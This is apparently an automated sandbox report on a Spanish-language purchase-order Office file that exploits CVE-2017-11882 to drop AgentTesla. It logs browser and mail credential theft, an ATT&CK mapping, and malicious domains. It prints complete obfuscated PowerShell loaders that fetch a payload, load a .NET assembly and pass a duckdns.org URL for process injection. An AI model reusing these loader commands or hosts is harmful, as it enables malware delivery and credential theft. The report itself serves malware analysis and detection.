to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhbtag9nzvs0xsskufnob21fwzm0xssneccpicggkcgndnpnaw1hz2vvcmwgpsb3annodhrwczovl2ryaxzllmdvb2dszs5jb20vdwm/zxhwb3j0pwrvd25sb2fkjmlkptfbsvznskpkdjfgnicrj3ztnhnvt3libkgtc0r2vwhcwxd1cib3anm7dnpnd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0lldlyknsawvuddt2emdpbwfnzuj5dgvzid0nkycgdnpnd2viq2xpzw50lkrvjysnd25sb2fkjysnrgf0ysh2emcnkydpbwfnzvvybck7dnpnascrj21hz2vuzxh0id0gw1n5c3rlbs5uzxh0lkvuy29kaw5nxto6vvrgoc5hzxrtdhjpbmcodnpnaw1hz2vcexrlcyk7dnpnc3rhcnrgbgfnid0gd2pzpdxcqvnfnjrfu1rbulq+pndqczt2emdlbicrj2rgbgfnid0gd2pzpdxcqvnfnjrfru5epj53anm7dnpnc3rhjysncnrjbicrj2rleca9ihz6z2ltywdlvgv4dc5jbmrlee9mkhz6z3n0yxj0rmxhzyk7dicrj3pnzw5ksw5kzxggjysnpsb2emdpbwfnzvrlehqusw5kzxhpzih2emdlbmrgjysnbgenkydnktt2emdzdgfydeluzgv4ic1nzsawic1hbmqgdnpnzw5ksw5kzxgglwd0ihz6z3n0yxj0sw5kzxg7dnpnc3rhcnrjbmrlecarpsankyd2emdzdgfydezsywcutgvuz3rooycrj3z6z2jhc2unkyc2nexlbmd0aca9ihz6z2vuzeluzgv4ic0gdicrj3pnc3rhcnrjbmrledt2emdiyxnlnjrdb21tyw5kid0gdnpnaw1hz2vuzxh0lln1ynn0cmluzyh2emdzdgenkydydeluzgv4lcb2emdiyxnlnjrmzw5njysndggpo3z6z2jhc2u2nfjldmvyc2vkid0glwpvaw4gkhz6z2jhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksa3tkygrm9yrwfjac1pymply3qgeyb2emdfih0pwy0xli4tkhz6z2jhc2u2nenvbw1hbmqutgvuz3rokv07dnpny29tbwfuzej5dgvzid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyh2emdiyxnlnjrszxzlcicrj3nlzck7dnpnbg9hzgvkqxnzzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkhz6z2nvbw1hbmrcexrlcyk7dnpndmenkydptwv0ag9kid0gw2rubglilklplkhvbwvdlkdlde1ldghvzch3annwqul3anmpo3z6z3zhau1ldghvzc5jbnzva2uodnpnbnvsjysnbcwgqch3ann0ehqudhnldgfszglvcmrzc3nzc3nzb3rpdxfll2dyby5zbmrry3vklmvsawz5exl5exlhzhnlbmrldy8vonankyd0dgh3anmsihdqc2rlc2f0axzhzg93anmnkycsihdqc2rlc2f0axzhzg93anmsihdqc2rlc2f0axzhzg93anmnkycsihdqc0fkzeluuhjvy2vzczmyd2pzlcb3annkzxnhdgl2ywrvd2pzlcb3annkzxnhdgl2ywrvd2pzlhdqc2rlc2f0axzhzg93anmsd2pzzgvzyxrpdmfkb3dqcyx3annkzxnhdgl2ywrvd2pzlhdqc2rlc2f0axzhzg93anmsd2pzzgunkydzyxrpdmfkb3dqcyx3anmxd2pzlhdqc2rlc2f0axzhzg93anmpktsnks1dcmvwbgfjrshbq2hhul0xmtgrw0noyvjdmtiyk1tdagfsxtewmyksw0noyvjdmzygic1yzvbsqunlicaow0noyvjdnturw0noyvjdnzgrw0noyvjdnzaplftdagfsxteyncatcmvqbefdzsd3anmnlftdagfsxtm5ksap';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $pshome[4]+$pshome[34]+'x') ( (('vzgimageurl = wjshttps://drive.google.com/uc?export=download&id=1aivgjjjv1f6'+'vs4suoybnh-sdvuhbywur wjs;vzgwebclient = new-object system.net.webclient;vzgimagebytes ='+' vzgwebclient.do'+'wnload'+'data(vzg'+'imageurl);vzgi'+'magetext = [system.text.encoding]::utf8.getstring(vzgimagebytes);vzgstartflag = wjs<<base64_start>>wjs;vzgen'+'dflag = wjs<<base64_end>>wjs;vzgsta'+'rtin'+'dex = vzgimagetext.indexof(vzgstartflag);v'+'zgendindex '+'= vzgimagetext.indexof(vzgendf'+'la'+'g);vzgstartindex -ge 0 -and vzgendindex -gt vzgstartindex;vzgstartindex += '+'vzgstartflag.length;'+'vzgbase'+'64length = vzgendindex - v'+'zgstartindex;vzgbase64command = vzgimagetext.substring(vzgsta'+'rtindex, vzgbase64leng'+'th);vzgbase64reversed = -join (vzgbase64command.tochararray() 7nf foreach-object { vzg_ })[-1..-(vzgbase64command.length)];vzgcommandbytes = [system.convert]::frombase64string(vzgbase64rever'+'sed);vzgloadedassembly = [system.reflection.assembly]::load(vzgcommandbytes);vzgva'+'imethod = [dnlib.io.home].getmethod(wjsvaiwjs);vzgvaimethod.invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsaddinprocess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-creplace([char]118+[char]122+[char]103),[char]36 -replace ([char]55+[char]78+[char]70),[char]124 -replace'wjs',[char]39) )"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhbtag9nzvs0xsskufnob21fwzm0xssneccpicggkcgndnpnaw1hz2vvcmwgpsb3annodhrwczovl2ryaxzllmdvb2dszs5jb20vdwm/zxhwb3j0pwrvd25sb2fkjmlkptfbsvznskpkdjfgnicrj3ztnhnvt3libkgtc0r2vwhcwxd1cib3anm7dnpnd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0lldlyknsawvuddt2emdpbwfnzuj5dgvzid0nkycgdnpnd2viq2xpzw50lkrvjysnd25sb2fkjysnrgf0ysh2emcnkydpbwfnzvvybck7dnpnascrj21hz2vuzxh0id0gw1n5c3rlbs5uzxh0lkvuy29kaw5nxto6vvrgoc5hzxrtdhjpbmcodnpnaw1hz2vcexrlcyk7dnpnc3rhcnrgbgfnid0gd2pzpdxcqvnfnjrfu1rbulq+pndqczt2emdlbicrj2rgbgfnid0gd2pzpdxcqvnfnjrfru5epj53anm7dnpnc3rhjysncnrjbicrj2rleca9ihz6z2ltywdlvgv4dc5jbmrlee9mkhz6z3n0yxj0rmxhzyk7dicrj3pnzw5ksw5kzxggjysnpsb2emdpbwfnzvrlehqusw5kzxhpzih2emdlbmrgjysnbgenkydnktt2emdzdgfydeluzgv4ic1nzsawic1hbmqgdnpnzw5ksw5kzxgglwd0ihz6z3n0yxj0sw5kzxg7dnpnc3rhcnrjbmrlecarpsankyd2emdzdgfydezsywcutgvuz3rooycrj3z6z2jhc2unkyc2nexlbmd0aca9ihz6z2vuzeluzgv4ic0gdicrj3pnc3rhcnrjbmrledt2emdiyxnlnjrdb21tyw5kid0gdnpnaw1hz2vuzxh0lln1ynn0cmluzyh2emdzdgenkydydeluzgv4lcb2emdiyxnlnjrmzw5njysndggpo3z6z2jhc2u2nfjldmvyc2vkid0glwpvaw4gkhz6z2jhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksa3tkygrm9yrwfjac1pymply3qgeyb2emdfih0pwy0xli4tkhz6z2jhc2u2nenvbw1hbmqutgvuz3rokv07dnpny29tbwfuzej5dgvzid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyh2emdiyxnlnjrszxzlcicrj3nlzck7dnpnbg9hzgvkqxnzzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkhz6z2nvbw1hbmrcexrlcyk7dnpndmenkydptwv0ag9kid0gw2rubglilklplkhvbwvdlkdlde1ldghvzch3annwqul3anmpo3z6z3zhau1ldghvzc5jbnzva2uodnpnbnvsjysnbcwgqch3ann0ehqudhnldgfszglvcmrzc3nzc3nzb3rpdxfll2dyby5zbmrry3vklmvsawz5exl5exlhzhnlbmrldy8vonankyd0dgh3anmsihdqc2rlc2f0axzhzg93anmnkycsihdqc2rlc2f0axzhzg93anmsihdqc2rlc2f0axzhzg93anmnkycsihdqc0fkzeluuhjvy2vzczmyd2pzlcb3annkzxnhdgl2ywrvd2pzlcb3annkzxnhdgl2ywrvd2pzlhdqc2rlc2f0axzhzg93anmsd2pzzgvzyxrpdmfkb3dqcyx3annkzxnhdgl2ywrvd2pzlhdqc2rlc2f0axzhzg93anmsd2pzzgunkydzyxrpdmfkb3dqcyx3anmxd2pzlhdqc2rlc2f0axzhzg93anmpktsnks1dcmvwbgfjrshbq2hhul0xmtgrw0noyvjdmtiyk1tdagfsxtewmyksw0noyvjdmzygic1yzvbsqunlicaow0noyvjdnturw0noyvjdnzgrw0noyvjdnzaplftdagfsxteyncatcmvqbefdzsd3anmnlftdagfsxtm5ksap';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $pshome[4]+$pshome[34]+'x') ( (('vzgimageurl = wjshttps://drive.google.com/uc?export=download&id=1aivgjjjv1f6'+'vs4suoybnh-sdvuhbywur wjs;vzgwebclient = new-object system.net.webclient;vzgimagebytes ='+' vzgwebclient.do'+'wnload'+'data(vzg'+'imageurl);vzgi'+'magetext = [system.text.encoding]::utf8.getstring(vzgimagebytes);vzgstartflag = wjs<<base64_start>>wjs;vzgen'+'dflag = wjs<<base64_end>>wjs;vzgsta'+'rtin'+'dex = vzgimagetext.indexof(vzgstartflag);v'+'zgendindex '+'= vzgimagetext.indexof(vzgendf'+'la'+'g);vzgstartindex -ge 0 -and vzgendindex -gt vzgstartindex;vzgstartindex += '+'vzgstartflag.length;'+'vzgbase'+'64length = vzgendindex - v'+'zgstartindex;vzgbase64command = vzgimagetext.substring(vzgsta'+'rtindex, vzgbase64leng'+'th);vzgbase64reversed = -join (vzgbase64command.tochararray() 7nf foreach-object { vzg_ })[-1..-(vzgbase64command.length)];vzgcommandbytes = [system.convert]::frombase64string(vzgbase64rever'+'sed);vzgloadedassembly = [system.reflection.assembly]::load(vzgcommandbytes);vzgva'+'imethod = [dnlib.io.home].getmethod(wjsvaiwjs);vzgvaimethod.invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsaddinprocess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-creplace([char]118+[char]122+[char]103),[char]36 -replace ([char]55+[char]78+[char]70),[char]124 -replace'wjs',[char]39) )"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 9.2.powershell.exe.74eab28.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3940, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 9.2.powershell.exe.74eab28.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.623977936.00000000023B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3940, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 9.2.powershell.exe.74eab28.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.powershell.exe.74eab28.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AddInProcess32.exe PID: 3940, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	121 Windows Management Instrumentation	211 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	43 Exploitation for Client Execution	1 DLL Side-Loading	311 Process Injection	11 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	23 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	121 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	421 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	Login Hook	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	311 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Orden de Compra No. 78986756565344657.xlam.xlsx	71%	ReversingLabs	Document-Office.Exploit.CVE-2017-11882
Orden de Compra No. 78986756565344657.xlam.xlsx	100%	Avira	EXP/CVE-2017-11882.Gen

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
wednesdayyyyyyfile.duckdns.org	198.46.178.134	true	true	unknown
paste.ee	188.114.96.3	true	true	unknown
drive.google.com	216.58.206.46	true	false	unknown
drive.usercontent.google.com	142.250.186.97	true	false	unknown
ip-api.com	208.95.112.1	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://paste.ee/d/nwtkd	true		unknown
http://wednesdayyyyyyfile.duckdns.org/equitosssssssdroidlatest.txt	true		unknown
http://wednesdayyyyyyfile.duckdns.org/wednesdaysMPDW-constraints.vbs	true		unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	powershell.exe, 00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://paste.ee/d/nwtkdE6	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://wednesdayyyyyyfile.duckdns.org/wednesdaysMPDW-constraints.vbsj	EQNEDT32.EXE, 00000003.00000002.471163150.0000000003500000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://paste.ee/d/nwtk	wscript.exe, 00000006.00000003.477174452.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.000000000051A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.477774934.000000000051A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com;	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000009.00000002.520640546.0000000003479000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	wscript.exe, 00000006.00000003.476800668.0000000000529000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476902673.000000000052D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.478430362.000000000052E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.525769987.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://analytics.paste.ee	wscript.exe, 00000006.00000003.476434080.0000000000527000.00000004.00000020.00020000.00000000.sdmp	false		unknown
